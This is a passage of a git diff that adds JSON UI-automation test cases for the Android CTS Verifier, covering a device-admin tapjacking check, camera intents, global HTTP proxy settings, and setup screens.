Test\",\"actionId\":\"e5638830-a156-448e-aa8b-713cbec5beab\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device Admin Tapjacking Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/enable_admin_overlay_button\",\"actionId\":\"68ec272f-e484-4cf3-8a63-527adf530141\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/enable_admin_overlay_button\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 5 secs\",\"actionId\":\"2550d0fb-a1b7-4693-9312-0c90261d10a4\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"pololee\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify overlaying transparent activity to show up\",\"actionId\":\"c912ca79-f89c-4881-ba60-04ddfafe59e5\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8a7106cc-5f58-4689-b6a0-cf4662c80a0b\",\"displayText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9dd6e3cf-d393-41b0-992d-c2ea7407af9e\",\"displayText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"23e1e52d-ddb4-4846-8dc4-18656525edd7\",\"displayText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a84eb9eb-fa2a-4ead-a7b1-14d6b73fc95f\",\"displayText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d8786c8d-3a73-4278-9882-d979f137b425\",\"displayText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":47.0,\"y1\":341.5,\"x2\":313.0,\"y2\":400.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":16.0,\"y\":17.625,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.0,\"y1\":334.5,\"x2\":320.0,\"y2\":407.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.0,\"y1\":334.5,\"x2\":320.0,\"y2\":407.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.0,\"y1\":334.5,\"x2\":320.0,\"y2\":407.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.0,\"y1\":334.5,\"x2\":320.0,\"y2\":407.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":164.0,\"y\":353.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":16.0,\"y\":17.625,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"d8786c8d-3a73-4278-9882-d979f137b425\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This activity attempts to tapjack the activity below.\\n Any security sensitive controls below should not respond to taps as long as this activity is visible.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":40.0,\"y1\":342.0,\"x2\":288.0,\"y2\":365.0}},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Activate button is disabled\",\"actionId\":\"74c89e66-56df-4285-826a-86ff4994b3b2\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.settings:id/action_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"0dd8de76-fa3c-4db9-b327-041d480f5236\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"590212a9-b7c0-41cb-a5b2-b59d126f888d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"76c72c4e-c28d-4b25-b0fd-a698e62989d5\",\"e5638830-a156-448e-aa8b-713cbec5beab\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"68ec272f-e484-4cf3-8a63-527adf530141\",\"2550d0fb-a1b7-4693-9312-0c90261d10a4\",\"c912ca79-f89c-4881-ba60-04ddfafe59e5\",\"74c89e66-56df-4285-826a-86ff4994b3b2\",\"0dd8de76-fa3c-4db9-b327-041d480f5236\",\"590212a9-b7c0-41cb-a5b2-b59d126f888d\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_CtsEmptyDeviceAdmin_apk_path=/home/riacheltseng/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceAdmin.apk\"}}","name":"test_Device Admin Tapjacking Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.047000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/26e141bc-1cb7-4228-865c-40de24919e2d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/26e141bc-1cb7-4228-865c-40de24919e2d
new file mode 100644
index 0000000..bc57864
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/26e141bc-1cb7-4228-865c-40de24919e2d
@@ -0,0 +1 @@
+{"uuid":"26e141bc-1cb7-4228-865c-40de24919e2d","details":"{\"type\":\"CompoundAction\",\"name\":\"Camera Intents-Test 2\",\"actionId\":\"26e141bc-1cb7-4228-865c-40de24919e2d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"889f4ddd-8f57-4ab0-ba84-71616f7d4b8c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"Select video mode\",\"actionId\":\"b232592e-16f6-4d45-9008-928740d58d3c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_mode\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_mode\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_mode\"}]},\"clickAfterValidation\":true},{\"type\":\"WaitAction\",\"name\":\"Record 5 secs\",\"actionId\":\"782e2d2f-672e-4b37-afad-b9fa7ac2acbd\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"740de7a4-51a7-411c-bf5f-424945116764\",\"889f4ddd-8f57-4ab0-ba84-71616f7d4b8c\",\"b40e7a89-24b7-4cf7-8942-4733b0536edc\",\"b232592e-16f6-4d45-9008-928740d58d3c\",\"fde8df69-89b4-42eb-8f6a-d67be2ca8770\",\"782e2d2f-672e-4b37-afad-b9fa7ac2acbd\",\"3815d172-f8cb-41b5-9bb3-5b3694bebd96\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_camera=Camera,\\n$uicd_camera_take_photo=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_mode=Video,\\n$uicd_camera_video_record=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_stop=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_done=Done,\"}}","name":"Camera Intents-Test 2","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.011000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/26f26923-eb98-45dd-9343-9a2626768de5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/26f26923-eb98-45dd-9343-9a2626768de5
new file mode 100644
index 0000000..739bb34
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/26f26923-eb98-45dd-9343-9a2626768de5
@@ -0,0 +1 @@
+{"uuid":"26f26923-eb98-45dd-9343-9a2626768de5","details":"{\"type\":\"CompoundAction\",\"name\":\"Start CTS-V\",\"actionId\":\"26f26923-eb98-45dd-9343-9a2626768de5\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"childrenActions\":[],\"childrenIdList\":[\"1ba14882-fbe6-4e5f-a753-f3826b8fcbde\",\"1b93eaf6-4fb7-4295-8288-19b021450557\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Start CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.320000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2776b178-6e89-4fea-9f72-a7733427ef39 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2776b178-6e89-4fea-9f72-a7733427ef39
new file mode 100644
index 0000000..c1b331d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2776b178-6e89-4fea-9f72-a7733427ef39
@@ -0,0 +1 @@
+{"uuid":"2776b178-6e89-4fea-9f72-a7733427ef39","details":"{\"type\":\"CompoundAction\",\"name\":\"16-12-Global HTTP Proxy\",\"actionId\":\"2776b178-6e89-4fea-9f72-a7733427ef39\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Global HTTP Proxy\",\"actionId\":\"fbd28982-ab34-41b7-8023-4f364aa3958f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Global HTTP Proxy\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"94caf697-d26c-4b61-adc2-4b22e2ed9a81\",\"displayText\":\"Global HTTP Proxy\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Global HTTP Proxy\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":579.0,\"x2\":351.3333333333333,\"y2\":621.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":74.0,\"y\":599.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":106.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"94caf697-d26c-4b61-adc2-4b22e2ed9a81\",\"firstText\":\"Global HTTP Proxy\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Global HTTP Proxy\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":589.0,\"x2\":135.0,\"y2\":609.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Global HTTP Proxy\",\"actionId\":\"e2f637a1-cd00-45cf-9799-7ba7c2096714\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Global HTTP Proxy\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that a global HTTP proxy has been set\",\"actionId\":\"d21692c6-7b26-44c7-87f4-fa17f9119b84\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Global HTTP proxy set\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f9234ae3-e5d3-45c0-be01-72978fd7b00b\",\"displayText\":\"Global HTTP proxy set\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"dde25d0e-7124-493a-8bbb-b2be67265d60\",\"displayText\":\"Global HTTP proxy set\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a17a7e79-253b-4bd7-bc46-c7b5d0c2f599\",\"displayText\":\"Global HTTP proxy set\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Global HTTP proxy set\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":202.33333333333334,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-8.833333333333314,\"y\":1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Global HTTP proxy set\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Global HTTP proxy set\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":141.5,\"y\":424.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":38.5,\"y\":1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"a17a7e79-253b-4bd7-bc46-c7b5d0c2f599\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Global HTTP proxy set\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":55.0,\"y1\":414.0,\"x2\":228.0,\"y2\":434.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"0679ed00-2aff-4165-a097-1199ae322c03\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Proxy\",\"actionId\":\"ee38e996-cf72-4ba2-a5e9-e43d2d143e1a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Proxy\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that a global HTTP proxy has been set\",\"actionId\":\"eef967b8-73da-40b1-bbfe-05632c1b172e\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Global HTTP proxy set\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"40e8ba31-67e5-4e1f-8b64-277ed6862fde\",\"displayText\":\"Global HTTP proxy set\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f74c971b-002a-42a7-ab40-da86c85fcb94\",\"displayText\":\"Global HTTP proxy set\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6a8c6962-c3c9-417e-a0e3-c5bb5d0e4a30\",\"displayText\":\"Global HTTP proxy set\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Global HTTP proxy set\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":202.33333333333334,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.16666666666668561,\"y\":2.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Global HTTP proxy set\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Global HTTP proxy set\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":132.5,\"y\":422.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":47.5,\"y\":2.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"6a8c6962-c3c9-417e-a0e3-c5bb5d0e4a30\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Global HTTP proxy set\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":53.0,\"y1\":407.0,\"x2\":212.0,\"y2\":438.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7c090c6b-a6d5-414f-803c-5bfa71af2a0a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Clear Proxy\",\"actionId\":\"b7081d9c-3acf-455f-826e-a63c3dd09ea6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Clear Proxy\"}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"fbd28982-ab34-41b7-8023-4f364aa3958f\",\"e2f637a1-cd00-45cf-9799-7ba7c2096714\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"d21692c6-7b26-44c7-87f4-fa17f9119b84\",\"0679ed00-2aff-4165-a097-1199ae322c03\",\"ee38e996-cf72-4ba2-a5e9-e43d2d143e1a\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"eef967b8-73da-40b1-bbfe-05632c1b172e\",\"7c090c6b-a6d5-414f-803c-5bfa71af2a0a\",\"b7081d9c-3acf-455f-826e-a63c3dd09ea6\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-12-Global HTTP Proxy","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.186000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/27b9a87d-9b7b-4f55-a259-45a91ee67a64 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/27b9a87d-9b7b-4f55-a259-45a91ee67a64
new file mode 100644
index 0000000..8ceb321
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/27b9a87d-9b7b-4f55-a259-45a91ee67a64
@@ -0,0 +1 @@
+{"uuid":"27b9a87d-9b7b-4f55-a259-45a91ee67a64","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Continue without Pixel Imprint or Continue without face unlock\",\"actionId\":\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Click Continue without Pixel Imprint or Continue without face unlock\",\"actionId\":\"291767d2-2b12-4d24-9736-38d60ea1dac7\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Continue without face unlock\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Continue without Pixel Imprint\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"291767d2-2b12-4d24-9736-38d60ea1dac7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Continue without Pixel Imprint or Continue without face unlock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.252000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/29474691-30f5-4d1c-a1ac-afe0beb0e971 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/29474691-30f5-4d1c-a1ac-afe0beb0e971
new file mode 100644
index 0000000..497c0ad
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/29474691-30f5-4d1c-a1ac-afe0beb0e971
@@ -0,0 +1 @@
+{"uuid":"29474691-30f5-4d1c-a1ac-afe0beb0e971","details":"{\"type\":\"CompoundAction\",\"name\":\"Camera Intents-Test 3 and 4\",\"actionId\":\"29474691-30f5-4d1c-a1ac-afe0beb0e971\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Click Done\",\"actionId\":\"9d02ef24-a94b-4f69-9045-1d9ea7cf380d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera_done\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera_done\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera_done\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"740de7a4-51a7-411c-bf5f-424945116764\",\"b1c2250d-2c83-4698-8e4f-e80b296153d9\",\"9d02ef24-a94b-4f69-9045-1d9ea7cf380d\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_camera=Camera,\\n$uicd_camera_take_photo=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_mode=Video,\\n$uicd_camera_video_record=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_stop=com.google.android.GoogleCamera:id/s